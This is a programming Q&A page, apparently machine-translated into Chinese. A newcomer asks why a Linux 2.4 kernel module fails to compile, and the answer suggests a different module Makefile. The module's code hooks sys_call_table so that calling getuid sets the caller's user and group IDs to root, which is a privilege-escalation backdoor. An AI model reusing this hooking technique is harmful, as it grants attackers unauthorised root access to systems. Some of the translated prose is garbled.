內核模塊中未聲明的變量

Question

我想在內核2.4上編譯內核模塊我是內核編程的新手。 這裏是Makefile：

TARGET := hello-2 
WARN := -W -Wall -Wstrict-prototypes -Wmissing-prototypes 
INCLUDE := -isystem /lib/modules/`uname -r`/build/include 
CFLAGS := -O2 -DMODULE -D__KERNEL__ ${WARN} ${INCLUDE} 
CC  := `which gcc` 

${TARGET}.o: ${TARGET}.c 

.PHONY: clean 

clean: 
    rm -rf ${TARGET}.o 

這裏是代碼：

#define MODULE 
#define __KERNEL__ 

#include <linux/module.h> 
#include <linux/kernel.h> 
#include <asm/unistd.h> 
#include <sys/syscall.h> 
#include <sys/types.h> 
#include <asm/fcntl.h> 
#include <asm/errno.h> 
#include <linux/types.h> 
#include <linux/dirent.h> 
#include <sys/mman.h> 
#include <linux/string.h> 
#include <linux/fs.h> 
#include <linux/malloc.h> 

extern void *sys_call_table[]; 

int (*orig_getuid)(); 

int give_root() 
{ 
     int x; 
     if (current->uid != 0) { 
       current->uid = 0; 
       current->gid = 0; 
       current->euid = 0; 
       current->egid = 0; 
      } 
     return 0; 
} 

int init_module(void) 
{ 
     orig_getuid = sys_call_table[SYS_getuid]; 
     sys_call_table[SYS_getuid] = give_root; 

     return 0; 
} 

void cleanup_module(void) 
{ 
     sys_call_table[SYS_getuid] = orig_getuid; 
} 

它已經結束了與舊內核（2.4）瞭解一些客人做法。 我返回一些關於未聲明的錯誤current和Sysgetuid，...的錯誤。 我讀過一篇文章，提到在用戶模式下編譯這樣的程序導致了這個錯誤，並且應該編寫一個內核模塊。但是我有內核模塊的這個問題！我知道我基本上做錯了事！ 這裏是錯誤：

`which gcc` -O2 -DMODULE -D__KERNEL__ -W -Wall -Wstrict-prototypes -Wmissing-prototypes -isystem /lib/modules/`uname -r`/build/include -c -o hello-2.o hello-2.c 
hello-2.c:10:1: warning: "MODULE" redefined 
hello-2.c:1:1: warning: this is the location of the previous definition 
hello-2.c:12:1: warning: "__KERNEL__" redefined 
hello-2.c:1:1: warning: this is the location of the previous definition 
hello-2.c:20: warning: function declaration isn't a prototype 
hello-2.c:23: warning: function declaration isn't a prototype 
hello-2.c: In function `give_root': 
hello-2.c:25: `current' undeclared (first use in this function) 
hello-2.c:25: (Each undeclared identifier is reported only once 
hello-2.c:25: for each function it appears in.) 
hello-2.c:24: warning: unused variable `x' 
hello-2.c: In function `hello_2_init': 
hello-2.c:35: `SYS_getuid' undeclared (first use in this function) 
hello-2.c: In function `hello_2_exit': 
hello-2.c:42: `SYS_getuid' undeclared (first use in this function) 
/lib/modules/2.4.20-31.9/build/include/asm/processor.h: In function `copy_segments': 
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:457: warning: unused parameter `p' 
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:457: warning: unused parameter `mm' 
/lib/modules/2.4.20-31.9/build/include/asm/processor.h: In function `release_segments': 
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:458: warning: unused parameter `mm' 
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h: In function `prefetch':/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h:43: warning: unused parameter `x' 
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h: In function `prefetchw': 
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h:48: warning: unused parameter `x' 
make: *** [hello-2.o] Error 1 

Answer 1

2.4是我的時間之前，但這個看起來並不像一個模塊make文件。我期望看到類似於：

KDIR := /lib/modules/$(shell uname -r)/build 
PWD := $(shell pwd) 

EXTRA_CFLAGS := -I$(src)/../NTRUEncrypt/include -I$(src)/../NTRUEncrypt/src -DHAVE_BOOL -D__KERNEL__ 

MODULE := aerolock 
obj-m := $(MODULE).o 

$(MODULE)-objs += __aerolock_inclusive.o 
$(MODULE)-objs += filesys.o 
$(MODULE)-objs += ../NTRUEncrypt/src/ntru_crypto_hmac.o 

... More modules to include 

MODULE.o: 
     $(MAKE) -C $(KDIR) M=$(PWD) modules 

load: 
     # load module passing 
     sudo insmod ./$(MODULE).ko 

unload: 
     sudo rmmod $(MODULE) 

clean: 
     -@rm -fr *.o $(MODULE)*.o $(MODULE)*.ko *.mod.* *.order *.symvers *.markers *.*~ *~ .*.cmd .tmp_versions ../NTRUEncrypt/src/*.o